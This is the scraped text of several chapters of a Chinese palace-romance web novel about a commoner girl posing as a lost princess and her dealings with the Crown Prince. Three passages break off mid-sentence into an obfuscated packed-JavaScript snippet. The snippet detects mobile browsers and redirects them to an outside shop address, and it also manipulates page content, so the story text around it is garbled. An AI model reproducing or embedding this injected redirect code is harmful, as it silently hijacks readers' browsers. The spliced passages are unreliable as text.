又听香蕊说:“只是公主拿月俸换我的,实在不值当,下回请莫再这样了。” 春风:“你月俸多少?” 香蕊:“原先一个月两贯钱,如今侍奉公主,一个月五贯钱。” 春风张了张口,居然这么多,香蕊的三个月月俸都够林家吃半年。 还好没叫太子罚了她。 她也好奇,指着自己:“那我呢?一个月也有五贯钱吗?” 香蕊摇摇头,说:“公主虽月俸未定,不过目下宫里最小的公主食实封一百户。” 见春风不解,香蕊继续解释:“一年到头,少说也有一百两银子的土地收成,还不计额外的收入。” 春风:“哦,哦……” 她面色不改,转过身走了两步,迎面撞上廊下红柱,给自己一痛击。 香蕊:“公主!” …… … “一年一百两银子,一个月按算它个十两好了,三个月三十两……” 于秀君一边肉疼,一边给春风揉额头,太子也太不近人情了! 林大田说:“就口脂没抹好,一点小事也要罚。” 这段时日,作为公主“养父母”,他们没被亏待,顿顿有肉,粗布葛衣也都换成好衣裳。 可他们马车缀在最后,到了晋州又被安排在外院,不能时时刻刻和春风见面。 像此刻,也是趁着刺史府送饭,他们才混进内院。 结果就得知春风被太子罚俸三月。 要是他们能一个月挣得十两,也不必躲债,更不必铤而走险冒充公主。 于秀君素来听说大户人家规矩多,想来皇家是天下第一大户,规矩只有更多。 她怕女儿适应不来,说:“不成,以后一定要小心太子。” 春风顶着额头红痕,点头如捣蒜。 能不小心吗,为“挺甜的”三个字罚她三十两,一个字十两。 本朝皇姓李,春风不知太子具体名讳,暗中叫他李三十,以祭奠逝去的三十两。 好在,不用她特意躲着,她和太子见不上几回。 太子仪仗滞留晋州,是为了处理一个贪官,便是那晋州刺史。 晋州刺史乃王氏族人,纵有满腹文采,却沉迷碑文刻石。 他上任晋州后,疏于治民,四处搜集碑文刻石,若功绩平平,也不至于做那出头椽。 偏他鬼迷心窍,挪用赈灾款弄来一块“杨公碑”,长宽一丈,刻着当年文学大家李智撰写的碑文。注* 他怕被出巡的太子发现它,把它埋在晋州郊外,李铉动了近百军汉,才把它挖了出来。 此时,四驾马车拉着杨公石,跟着出巡仪仗一同回长京。 春风探出脑袋看它。 她问香蕊:“那块大石头很重要吗?” 香蕊说:“传闻是几百年前汉阳百姓为纪念清官所立之碑,自然贵重。” 春风心想,看来是好官碑。 不过至今几百年,天灾人祸双管齐下,原先的碑自然被毁过。 不论真假,捉了王刺史后,这玩意就充国库了。 春风双手垫着下巴,望着窗外的大石头:“皇宫好东西很多,够放吗?” 香蕊忍俊不禁,说:“够放的,皇宫很大的。” 春风:“比刺史府大一倍?” 香蕊:“大很多,”见春风忽闪着一对圆眸,她描述起皇宫,“那儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378270|200135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是红墙,琉璃瓦,人也多……” “……” 皇宫门口,霜叶纷飞,片片掠过重檐歇山顶琉璃瓦,阙楼上响起厚重的礼乐声。 巍巍红墙人影幢幢,文武百官着官袍官帽,齐刷刷跪下,山呼:“太子千岁千千岁!” 马车内,春风满眼新奇,好多人啊…… 见他们跪拜,她小声念了个“免礼”。 仪仗前,李铉身着玄色圆领袍,肩上搭着一件姜黄鹤纹氅衣,他英气俊美,行止稳重,抬起一手道:“诸卿免礼。” 在左右相带领下,百官往左右两侧站定。 而此时,香蕊小声嘱咐春风:“到了宫里,人多眼杂的,公主礼仪未学成,先跟着太子认人就好。” 春风也知道,李铉是她“长兄”,跟他做总不会错。 待香蕊扶着春风下马车,她脚步还没站稳,黑洞洞的宫门口,一个年轻清秀的女子带着两个宫女款款前来。 女子先见过太子,转向春风:“公主,奴婢明远,奉太后之命,请公主前往寿阳宫,面见太后、皇上、皇后。” 春风:“免礼。你带我去吧。” 明远:“是。” 李铉出巡归来,依礼自也需去见尊长,一行人便同路了。 他生得高大,步伐也大,行走间披风微微甩起,甩开春风几人十多步。 长英疾步跟在他身侧,禀报政务。 一路上,春风见香蕊对明远毕恭毕敬的,也歇了搭话的心思。 如香蕊所说,皇宫之大并非一个刺史府能比,穿过厚重的宫墙,是长长的甬道。 这儿隔开了世间,砖墙垒得严丝合缝,沁着寒意。 幸而甬道处等了两架软轿,一架是太子的,另一架就是春风的。 坐上轿子,春风观察四周,轿子偶尔会路过宫殿,大门敞着,一枝清俊的树枝伸出宫墙,瞧着倒是趣味。 一刻钟后,轿子抵达寿阳宫。 日头西斜揉开一片晚霞灿然,寿阳宫内外寂然。 落轿后,长英立在轿子一侧微拾起李铉衣摆,李铉下轿,进了寿阳宫。 香蕊只能留在寿阳宫外,春风由明远带着往里头走。 此情此景,她心内演练过多少回,可对上全然陌生的环境,难免生出一丝惶然。 顾不上记仇那三十两,她步伐迈得快些,跟紧李铉。 寿阳宫大门大敞,古朴庄严,天光尚在,已点上铜制竹形烛火,一股沉香味萦绕在空气里。 正殿,头发花白的老妇人坐在黄杨木菊纹椅上,她面容圆润,是养尊处优的痕迹,却压着唇角。 直到见到孙子进屋,她拄着拐杖起身,才舒眉一笑:“皇孙儿回来了。” 李铉行礼,缓声道:“见过皇祖母。” 春风说:“见过皇祖母。” 太后左侧,立着一位着海棠妆花缎宫装的女人,四十多岁依然容颜明丽,只拧着眉。 李铉:“母后。” 春风:“母后。” 听春风这么唤她,皇后眉间更紧了。 太后的右侧,则是一个穿着藏蓝道袍的道士,能看出年轻时的英俊,便有几分像太子,只是蓄了及胸口飘飘长须。 他没有多看太子一眼,只盯着春风,一言不发。 李铉:“父皇。” 清软的声音黏着他:“父皇。” 李铉侧身低头,看向身后不知何时多出的小尾巴。 察觉他的目光,小尾巴仰起脖颈,面庞莹润,明眸蕴着一泓清泉,唇上朱红有如一粒饱满的红宝珠。 今日她一口都没偷吃。 许是片刻的沉默,让她误会了什么,她垂下密而长的睫羽,朝他福身,乖乖道:“皇兄。” 5. 第五章 太后对春风招招手:“孩子,过来。” 春风见李铉颔首,小步走到太后跟前。 太后的眸底有岁月沉淀的浑浊,却暗藏锐利,仿佛能一眼看透她。 春风迎上她目光。 还好她算不上光明磊落,但问心无愧,没什么怕被人看透的。 太后眉宇柔和些许,抬手轻抚摸她脸颊,问:“这些年怎么过的?” 春风老实说了。 关于她所有消息,宫内几个主子早已知情,只皇帝听春风叙述平淡,仿若早已习惯,他不由心生亏欠。 等不及太后再问,他叫.春风过去:“玉宁,到朕这儿来。” 玉宁是公主走丢前的封号。 皇帝仔细辨认她的五官,似乎在通过她的脸看谁,须臾他眼底颤抖,低吟:“是有几分肖似妙儿……” 春风:“……”这也能看出相似吗。 不过春风不知道的是,皇帝一意孤行,先射箭后画靶,再不像的人都能瞧出相似。 何况春风生得好,从容颜上找不出疑点。 看完一场“感人至深”的骨肉相认场面,皇后方与太后说:“母后,宫务繁多,妾还得挑选公主的教习嬷嬷,先行告退。” 太后明白她忍到极致了,道:“你且去,”又对李铉说,“铉儿才回宫,也去歇息休整吧。” 李铉应了一声。 他与皇后离开寿阳宫,皇帝自也带春风告辞,去瞧故人的寝宫。 寿阳宫的热闹散了,只余淡了的沉香味,明远扶着太后坐到寿桃纹榻上,细心收好拐杖。 太后问:“你觉得这女孩如何?” 明远笑道:“太子殿下找回她后就踏上归程,路上也没个教习嬷嬷,她尚未学规矩,能不露怯已是极好。” 太后:“此女着实落落大方……你看她,像玉宁吗?” 明远跪坐,替太后捏小腿,说:“公主容颜无可挑剔,丢失时候太小,况且遭遇战乱,忘了年幼的事是寻常,再者菩萨玉佩是她的……” 太后终于嗤嗤笑了下:“你个滑头,你知道我想说的不是这些。” 她挑明:“那孩子有没有可能是铉儿找来应付我的?” 明远:“哪能啊,皇室血脉是能随意混淆的么?太子断不会这般行事。” 太后心中仍有疑虑,可也没旁的办法了。 她重重叹了口气,道:“只有林氏在,才能辨别是不是她女儿吧。” 提到林贵妃,明远轻捶着腿不敢接话,太后也陷入了回忆。 林贵妃自缢的白绫是太后赏的。 当年,那女人满面憔悴,朝她拜了又拜,道:“妾愿以性命平息众将怒火,只盼换回女儿一命。” “太后娘娘千金一诺,妾信重娘娘,必不辜负妾。” 可玉宁公主还是丢了。 太后盯着空中一点,无力地合上眼眸。 … 李铉和皇后出了寿阳宫,前者去东宫,后者往兴宁宫。 太后让李铉歇息,只是他出巡半年,大事急事纵然能书信处理,积累了的公务却也不少。 他垂眸,一手负身后,另一手缓缓转着佛珠,思索着官员调动。 身旁,皇后声音泛着冷意问:“本宫的信没收到吗?” 李铉指尖动作不停,只说:“不曾。” 皇后皱起眉。 母子二人再无二话,待皇后回到兴宁宫,她揉着额头,想那民间公主。 她不像皇帝一叶障目,在她看来,若说林春风像林贵妃,那也有一丝像她自己,毕竟人都是两个眼睛,一个鼻子一个嘴巴。 可皇帝甫一见她,眼里藏了多少悔恨,难掩舐犊之情。 仿佛那才是他此生唯一的子嗣。 皇后冷笑,当年林贵妃盛宠,逼得她日日自危,步履维艰,至今想起都心有余悸。 若不是庆盛末年那场战乱,她怕是早已成了废后。 那年盛夏,皇帝与太后携林贵妃前往西山行宫避暑,当年的左相辅佐太子留守长京。 谁都没料到贵妃的兄长,镇守陇右道的虎威将军会发动兵变,携十万大军趁虚而入,直逼长京。 皇帝亲征应战,却节节败退,众将士士气衰竭,皇帝便与太后、贵妃狼狈逃往北方,把她和太子弃在长京。 为布防西山行宫,长京守备空虚,只余五千兵士。 那年太子也才十岁,小少年扛起重担,在箭雨里披坚执锐,亲上城楼鼓舞士气,抵御攻城敌军。 要不是他,江山早改姓了。 这叫皇后怎能不恨林贵妃。 纵然斯人早已成一缕幽魂,皇后仍然深深忌惮着她。 所以,得知林贵妃女儿的下落后,她去信太子,令他莫要把人带回来,徒生事端。 但林春风还是回来了。 皇后紧攥着手,对贴身宫女瑶芝道:“铉儿怎能无视我的信,他心中难道就没有恨?” 瑶芝端来茶,低声说:“娘娘,这是太后的意思,想来太子孝顺,不忍太后病情加重。” 皇后:“也是,他从小被太后养在膝下,对我自是亲近不来。” 瑶芝劝她:“太子刚回宫,娘娘为何不问问他是否累了,若只质问没看信,却不知太子如何想。” 皇后怔了怔:“我……” 她也有后悔,抬手掩着眉眼,沉默不语。 见她动摇,瑶芝趁热打铁,又说:“依奴婢看,太子对林春风似并无厌恶,还亲自带她与娘娘见面……” “再说,她是太子找回来的,若娘娘为难她,岂不是给太子难看?” 皇后不爱听这些,但“忠言逆耳”,瑶芝并没有说错。 她忍了忍,说:“我知道了。” 不管如何,装也得装个样子出来。 …… 林贵妃的宫殿在皇宫东南方位,五行属木,牌匾上书“玉华宫”,此地敞亮,草木齐整,虽十多年不住人,但被打理得井井有条,不见颓败。 皇帝指着枫树下一架小秋千,对春风说:“小时候你喜欢在那儿玩。” 春风盯得仔细,替林青晓记着了。 皇帝却误会了,笑了几声,道:“你若喜欢,再加个秋千玩耍。” 春风:“唔。” 他便又带着春风回忆往昔,逗留一个时辰,才因修行课业尚未完成,不得不离开。 临走前,皇帝让春风住进玉华宫东侧芙蓉阁,也是她“小时候”住的地方。 后宫里,比春风年长的两个公主都出宫建府了,还有两个年纪小的,养在各自母妃宫里。 春风住这儿不逾矩。 见春风身边只有一个香蕊,皇帝又拨了四个小宫女、四个小太监进芙蓉阁。 一时,冷清的玉华宫充斥谈话声、搬东西声、水声,有了人的气息。 阁中铺满柔软厚实的赤红地衣,踩上去没有一点声音。 “公主慢些跑!” “公主当心!” “……” 春风赤脚跑动,这儿看看,那儿摸摸,凑到一架红木镶螺钿的多宝格前。 多宝格上摆满奇珍异宝,玉雕、瓷器、香炉应有尽有,她一件件揩过去,越摸眼神儿越放光。 香蕊自侧间出来,道:“公主,水好了。” 里间砌了一方小浴池,出水口雕刻一樽玉兔捣药像,汩汩热水自药碗里冒出来,水面洒满花瓣。 春风深吸一口气,跳进浴池。 香蕊跟进来,只见她捧起花瓣把脸埋了进去,顶着一脸花瓣,问香蕊:“你要不要也泡?” 香蕊不禁笑了,说:“奴婢不泡,只伺候公主沐浴。” 春风荡到浴池岸边趴下,香蕊用巾帕给她擦洗后背。 氤氲在热水汽与花香里,四周陷入短暂的静谧,春风的脚趾一蜷,整个人轻飘飘的。 要不是香蕊轻拍她肩膀,她就要睡着了。 香蕊扶着她:“公主,不能在浴池睡觉。” 春风一动,芙蓉阁上下也动了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378271|200135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小宫女蕙儿拿云绸里衣披春风肩上,另一个宫女芬儿捧着一只大雁叼鱼的小铜炉,为她熏一头乌发。 大雁镶嵌着上好的南海紫珍珠当眼珠子,紫珍珠温润,颇有神韵。 春风偷偷抠了一下,没抠下来。 很快,香蕊捧来一罐百花香肤油,指腹沾一点抹在春风柔润的肌肤上。 闻着轻盈的花香,她禁不住一直打呵欠。 终于到了床上,香蕊仔细给春风掖被子,落下鹅黄色纱帐。 春风迷迷糊糊想,当公主真好玩。 临睡前,她记起香蕊说过贵妃已经去世了,她双手合十,心里念到:贵妃娘娘,我和你女儿好得不得了,求娘娘有空保佑一下我。 又想:算了,还是保佑你女儿吧,也不知道她跑去哪,在外有没有热水沐浴…… …… 或许被褥太舒适,春风上一刻还在和贵妃娘娘唠嗑,下一刻,就被香蕊叫醒了。 天色浮出鱼肚白,清晨含着寒意,宫中上下却早已忙碌开来。 春风坐在妆台前,小宫女蕙儿给她梳头。 她素日是个手巧的,可眼前人乌发浓密光滑如绸缎,她捡一缕,就漏了一缕。 如此两三次后,春风自己拨开耳后的头发,问她:“这样好弄点吗?” 蕙儿大惊,忙也跪下:“奴婢该死!” 春风:“……” 香蕊布置完今日芙蓉阁的大小事,一进屋就见此景。 她叫蕙儿起来,又亲手给春风挽一个双环望仙髻,簪上金筐宝钿花叶头饰,而早膳也摆好了。 薄胎白瓷碗里,装着一碗热腾腾的红枣雪燕羹,桌上依次摆一碟蜜饯桂圆、双色芝麻糕、五香卷、鹅油卷、蟹肉小饺…… 春风拿起雕花银箸,夹了块蜜饯桂圆送进嘴里。 香蕊给芬儿使了个眼色,让她把甜口的餐点往前摆。 不多时饭毕,春风捧着一盏香片茶,舒服地喟叹一下。 叹完她后背下意识一挺,却没等到于秀君拍她,嘟囔着叫她别叹气。 她愣神,还是轻轻把气吸回来。 香蕊说:“公主,咱们要去兴庆宫见皇后娘娘,娘娘会拨教习嬷嬷给公主。” 说到教习,春风打迭起精神。 这就是进宫后第二紧要的事了。 只是,她们还没出芙蓉阁,却有几人先造访芙蓉阁。 为首大太监臂弯搭着拂尘,他掐着嗓音,道:“皇上有旨:着嬷嬷洪氏教玉宁公主宫规礼仪。” 洪嬷嬷打大太监身后走出一步,朝春风福了一礼:“奴婢洪氏,见过玉宁公主。” 春风不明白,悄声问香蕊:“不是说是皇后管吗?” 香蕊:“虽说如此……” 约摸是皇帝怕皇后为难春风,自作主张拨了教习嬷嬷来。 春风想了想,她家里是于秀君主事,每回林大田越过于秀君“先斩后奏”,都没落得好下场。 比如这次,林大田给邻居当保人,就是瞒着于秀君干的。 她说:“我们去找皇后吧。” … 兴庆宫。 “噼里啪啦”青瓷砸落地面,碎了一地,桌上备好的红豆糯米糕也都被扫到地上。 皇后摔了东西,脸色煞白。 瑶芝这回不敢劝皇后了,她也替皇后委屈,眼中含泪:“娘娘息怒……” 自家娘娘心中再有芥蒂,那也是对皇帝和林贵妃。 对林春风,娘娘虽是不喜,却没想使什么手段。 可皇帝越过她拨教习嬷嬷给林春风,无异于告诉六宫,她是那等心思狭窄、工于心计的毒妇,必会百般为难公主。 多年夫妻,皇帝却是最懂得如何叫皇后难堪。 兴庆宫上下无人敢大喘息。 好一会儿,皇后稍稍平复思绪。 她看向满地狼藉,摆摆手:“来人,收拾掉吧。” 话音刚落,外头匆匆进来一个小太监,禀报:“皇后娘娘,玉宁公主求见。” 6. 第六章 … 玉华宫在东南方位,兴宁宫却坐落于西北。 春风一路“跋涉”,好容易看到兴宁宫的牌匾,她呼出一口气。 香蕊拿手帕给她擦汗,请兴宁宫门口小太监通禀,小太监飞奔而走。 不多时,一个大宫女提裙疾步走来。 她和明远一个年纪,给春风的感觉是一样的,怪可靠的。 香蕊没想到是她亲迎,讶然唤她:“瑶芝姑姑。” 瑶芝给春风行礼,满脸盈笑,说:“公主快请进。” 她目光太热切诚恳,让春风有点怀疑。 好在等她见到皇后,女人与昨日一样对她态度不冷不热,春风安心了。 皇后手指轻敲案几,问她:“皇上已指了教习嬷嬷给你,你来这做什么?” 春风说:“因为母后也说要挑选嬷嬷。” 皇后顿了顿,昨天那句话是应付场面,顺嘴一提,却被春风记住了。 瑶芝问春风:“公主如何想?” 春风:“若母后也给我选一个,我怕两个嬷嬷抢着教我。” 瑶芝笑了,转向皇后道:“娘娘,公主此言有理。” 皇后端起茶盏,抿了一口,对瑶芝说:“宣洪嬷嬷来兴宁宫磕个头。” 瑶芝道:“是。” 遂命人把洪嬷嬷叫来见皇后,皇后又说了两句场面话,命洪嬷嬷务必上心,面上她也成了皇后指派的教习。 送走春风和洪嬷嬷几人时,瑶芝有些恍惚,此事竟有如此中正平和的结果。 既全了帝后面子,又不叫玉宁公主自己难做。 回头,瑶芝与皇后说:“公主在宫外长大,行事却是坦率。” 皇后揉着额头,轻哂:“她误打误撞,你不必抬举。” 冰冻三尺非一日之寒,瑶芝且收了话头。 …… … 洪嬷嬷是宫里老资历,先帝在时曾在御前掌茶,后来因腿脚不便,退回后宫出任教习。 宫中皆知帝后不和,她虽是皇帝指给春风的,却不想与皇后作对。 毕竟天下迟早是太子的,皇后是太子生母,若触怒皇后,将来龙驭宾天,太子登基,等着她的没有好果子。 所以,早上皇帝身边的康公公让她教玉宁公主,她不太情愿。 可主子要斗法,她也躲不过。 意外的是,不需点拨,那民间公主竟自己去兴宁宫。 彼时洪嬷嬷心内就笑开了花,果然,兴宁宫顺着台阶下,可谓风平浪静。 因这遭,她待春风有了十足耐心,掰开讲宫规,其中易错处也不藏着掖着。 她示范走路礼仪:“行走时双手不能甩,端于身前,身姿挺拔,步履……” 洪嬷嬷做动作,春风仔细观摩。 所谓规矩也是手脚摆出来的,并非登天的难事,春风想,像精细些的“家务活”。 听洪嬷嬷喋喋不休,她说:“我会了。” 洪嬷嬷惊讶:“公主会了?” 春风捋起袖子:“我走,你看看。” 洪嬷嬷笑着替她放袖子:“公主记着,袖子不可随意卷起。况且你是走路,如何用捋起袖子?” 春风不大好意思地笑了起来,她既把此事当“家务”,干家务习惯了捋袖子,不然要被于秀君说的。 屋内正有说有笑,屋外小太监传:“皇上驾到——” 皇帝颇有几分仙风道骨,大步走进芙蓉阁。 宫女们跪下,春风也行礼:“父皇。” 他慈爱地扶起春风,面对一众奴仆时,蓦地沉了脸:“是谁唆使公主去兴宁宫的?” 宫人们齐声:“奴婢不敢。” 皇宫虽大,可耳目太多,常常一点动静不消片刻,就传得满宫皆知。 皇帝早就知道早上的事。 春风解释:“是我要去的。” 皇帝缓颊,拍拍春风肩膀,说:“玉宁,人心叵测,你莫要常去兴宁宫,那里不是什么好地方。” 春风初来乍到,皇帝这么说,她就先应了。 皇帝这才令洪嬷嬷等人起身,抚须笑问:“方才在做什么呢,在外头都听到你们笑声了。” 洪嬷嬷:“回皇上,奴婢在教公主礼仪。” 皇帝:“公主学得如何?” 洪嬷嬷夸:“公主敏而好学,奴婢粗粗一教走路,公主就会了八.九成。” 春风点点头,这有什么难的。 皇帝却不大信,问:“哦?当真学这么快?” 洪嬷嬷:“方才公主正要走走。” 春风这回没捋袖子了,她双手搁好端正仪态,优雅地迈出第一步。 皇帝一边看女儿走路,欣慰点头,又对洪嬷嬷说:“学礼仪难免枯燥,你不得逼着玉宁学。” 洪嬷嬷:“奴婢明白。” 春风迈出第二步。 皇帝:“这走路,公主十日内能学会便不错了。” 洪嬷嬷:“是。” 春风迈出第三步,她可以使唤自己的双脚的,不用十日。 皇帝命康公公给洪嬷嬷腰牌,说:“在玉宁学会规矩前,你每日去内帑挑些好东西,是朕赏给芙蓉阁的。” 洪嬷嬷:“是。” 春风:“……” 第四步,她脚下一转生生踩错地方,皇帝焦急道:“快来人扶住公主。” 春风搭着香蕊的手,好险没“摔倒”。 她形容沮丧:“父皇,我走了几步,就使唤不了自己的脚了。” 见女儿没受伤,皇帝先是松口气,又宽慰她:“不急着学,你慢些,每日都有赏赐。” 春风努力压着嘴角,说:“谢父皇。” 当日,她含泪收下一只暖玉如意。 多宝格上放不下,把它搁在床尾巴,睡觉拿来翘脚丫。 …… … 东宫。 小半个时辰前,太子于庭院内|射箭,后独自回了屋子,令人不必伺候。 长英揣着袖子在外头和小太监闲聊,偷会儿闲。 自出巡归来,他随李铉结结实实忙了好一阵,总算能歇口气。 长长的宫道里,明远提着一只漆木雕花食盒前来,招呼:“长公公。” 长英赶紧笑:“什么事让姑姑亲自跑一趟。” 明远:“岭南进贡了江珧柱,太后娘娘命我熬成江珧柱银耳枸杞汤,送来太子殿下这。” … 这时节宫里已经烧起地龙,东宫本该也是,不过李铉严于律己,不喜挥霍,屋内只摆了一个炭盆。 这日灰蒙蒙的,浅淡天光穿透窗户方格,给屋内镀上薄薄的冷意。 明远觉出几分寒凉。 兵器架前,李铉身长玉立,左手托一柄长弓,右手指节修长如玉,捏着绸布抚过长弓。 方才因练弓射箭,他解开了玄色宝相花纹圆领外襟,内襟素白垂领翻出,勾出落拓的线条。 行礼不必赘述,明远搁下食盒,打开卡扣,捧出一只葫芦纹三彩碗,碗内汤汁乳白,冒着热气。 长英伺候李铉濯洗双手,李铉以巾帕擦拭着手,瞥见到食盒内还有一碗汤,问了一句:“还差谁没送。” 明远:“玉华宫的玉宁公主。” 李铉轻抬眉梢。 长英想起这阵子玉华宫静悄悄的,笑问明远:“玉宁公主也该学骑射了吧?可是有趁手的弓箭?” 本朝太.祖马上得天下,风气开放,皇女学骑射皆以精通为目标。 明远说:“前个儿刚听说,玉宁公主到如今还没学好‘走’。” 长英吃惊:“瞧着挺机灵,怎么会学不会?” 明远:“许是悟性不高。” 长英:“实心眼的孩子是这样。” 李铉搁下调羹,长英递茶,他漱了口,重复了三个字:“实心眼?” 长英讪讪,想起春风扮“尸体”。 不过,那回应是林大田和于秀君的主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378272|200135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,那毕竟是个小姑娘呢,能有多少坏心眼。 李铉起身,扣好圆领袍外襟扣子,道:“去玉华宫。” …… 玉华宫。 洪嬷嬷刚离开,香蕊追上来:“嬷嬷!” 洪嬷嬷停下脚步。 香蕊问:“嬷嬷,公主学礼仪这般慢,什么时候能学好?” 洪嬷嬷心内觉出好笑。 其实自打春风“摔”了后,洪嬷嬷就看出她是学会了,但假装学不会,就是为了每日都有的赏赐。 但皇帝和公主父慈女孝,一个愿打一个愿挨,洪嬷嬷才不做那扫兴之人。 她笑得意味深长,说:“姑娘不用操心,该会的时候就会了。” 香蕊此时不解其中意,兀自焦虑。 再难的规矩,这么多日也该学会了,偏生春风到现在,还走不了十几步就要摔。 再过一阵子要开坛祭天,春风要是还不会礼仪,如何是好? 她心事重重,撩开毡帘进屋。 屋内暖融融的,摆着灯影戏,一张白色帷幕后,教坊宫人操纵影子,惟妙惟肖地演绎:“我与你不共戴天!” 春风双手撑着脸颊,歪在引枕上,炯炯有神地盯着,好不沉迷。 蕙儿剥了一颗葡萄给她,她衔到嘴里,好不快活。 见她这般无忧无虑,香蕊悄悄叹了口气。 怎料春风耳尖一动,目光扫来,道:“不要叹气。” 香蕊勉强一笑:“是。” 春风坐好了,盯着香蕊看了会儿,问:“你这几天不开心,怎么啦?” 香蕊欲言又止,但发觉春风眼里的关切不作假,她小声说:“奴婢只是怕,怕公主学不好礼仪,到时若要面对文武百官……” 说到这,蕙儿和芬儿也不由露出担忧。 春风:“……” 她整日数赏赐,却不知她们担心了多久,只好坦白:“你们别怕,其实我早就会了。” 香蕊惊讶:“什么?” 多说无益,春风干脆抻抻衣摆,站起身。 她褪去一身懒散劲,腰背挺直,迈开的步伐稳重有力,正是她这段时日始终学不会的礼仪。 见香蕊、蕙儿和芬儿面面相觑,春风朝她们眨眨眼,说:“我还能走得快些。” 说着,她走得簌簌,衣袖间自带一阵风。 春风:“还能倒着走。” 便后退着走,还真像模像样。 香蕊一想洪嬷嬷的提醒,恍然大悟,哭笑不得:“公主原来是……” 话音未落,她盯着春风身后的大门口,脸色骤然一变。 春风:“怎么了?” 香蕊方要开口,却似乎被什么阻止了,不得不闭上嘴巴,脸上溢出紧张。 蕙儿、芬儿和教坊的宫人,纷纷放下手中活计跪下。 春风心口一紧,她垂眼看地上。 因要看灯影戏,屋内窗户紧闭,门外光线落在屋内,地面勾出一道很浅的颀长影子。 她缓缓回过头,李铉不知何时站在那的,他长眉入鬓,眼眸深邃,面上不判喜怒。 春风:“皇、皇兄。” 李铉身后,明远低头抿唇,长英用力给春风使眼色,可长英眼睛太小了,春风看不清啥意思。 李铉斜睨长英,长英忙也低头,不敢再动作。 春风收回巴巴盯着长英的目光。 李铉慢条斯理:“练得倒是刻苦?” 春风点头如小鸡啄米:“刻苦,很刻苦。” 李铉:“那怎么学了十日,还学不会?” 春风见还有辩解余地,抬起眼睛偷觑李铉,脚尖轻轻踢了下地面,说:“路不好走,走两步……就想摔。” 李铉薄削的唇角好似轻轻牵了一下,春风暗想,笑了。 笑了总比板着脸好。 下一刻,李铉道:“东宫的路好走。” 春风:“……” 李铉:“去东宫练。” 7. 第七章 明远提着两个空碗回寿阳宫时,已过了申时,比她本该回来的时间晚了好几刻钟。 太后拿着一卷经书,点了点她:“你是愈发会偷懒了。” 明远忙将食盒递给宫女,笑说:“奴婢不敢,只是送汤时遇到了个意外,若娘娘觉着奴婢偷懒,奴婢便不说了。” 太后:“什么意外?快快说了。” 见勾起太后兴趣,明远走近了,一五一十叙述她随太子一行去玉华宫所见所闻。 当时,屋外的小太监要禀报,被太子抬手制止,于是他们无声无息进了芙蓉阁。 明远素来知道皇帝心疼玉宁,却还是被芙蓉阁的奢华吃了一惊。 若说东宫像冷硬的利剑,那芙蓉阁则是柔软的精美香囊。 空中飘着一股馥郁玫瑰香气,地上铺满地衣,家私大气精美,多宝格上塞满珍宝,还有许多宝物,明显是刚赏赐的,还没来得及登记入库,只堆在地上。 明远原先觉得太逾矩,可见到春风后,又觉得似乎合该如此。 屋内昏暗,摆着教坊的灯影戏,灯影戏歇了,中间的少女倒成了那戏中人。 因地龙火热,她着云绸中衣,赤着双足,肩上搭着一片花鸟纹蹙金纱衣,微微侧首,长睫一簇簇落在眼下,侧颜面容白里透红的水嫩,比芙蓉阁外盛放的秋海棠还要娇妍。 如果不是她一会儿疾走,一会儿倒着走,确实不失皇家风范。 不过足以叫旁人发现她学不会是装的。 太后摇头,道:“这孩子耍小心机,偏生叫太子撞见了。太子如何说?” 明远掩唇笑说:“娘娘猜不到的,太子殿下把玉宁叫去东宫,说是之后在东宫学规矩。” 太后果然惊疑:“把人叫去东宫了?” 明远:“是,当场就叫去了。” 虽然太子是嫡是长,但旧年的经历令他积威甚重,加之政务繁忙,自不会多余管宫中之事,尤其是他的皇弟皇妹。 毕竟宫里还有皇帝和皇后,这一项本也不该落到他身上。 明远私心里认为,太子应是没有生玉宁的气,不然还把人拎去东宫,岂不是碍眼? 只不过,太子的心思实非能揣测,她不敢妄下论断。 太后思索片刻,说:“前面我还怀疑玉宁这孩子,是不是铉儿找来糊弄我的。目下看,铉儿既然上心,应当不是那样。” 明远附和:“便说太子殿下不会那么做了。” 太后:“皇上若太宠着玉宁,只怕坏了她性子,太子管管也好。” “不过,公主装不会礼仪这事,也不能传得阖宫都是,让公主难看,你去芙蓉阁敲打一下,知情的宫人若胆敢议论,罚俸三月,杖十下。” 明远笑说:“娘娘,太子当时就下令,若有外传者,罚俸半年,杖二十。” …… 李铉一言九鼎,他让春风去东宫,宫人们半点不敢耽搁,很快给春风换了衣裳,套了鞋子。 春风就这样稀里糊涂,离开了犹带香气的芙蓉阁,和香蕊踏上前往东宫的路。 她心里没底,小声问香蕊:“好香蕊,你跟我说说你老家怎么样。” 香蕊以前是东宫的,说是“老家”也没错。 香蕊小声:“东宫规矩分明,太子宽厚……” 春风纠正:“不宽厚,是‘窄薄’。” 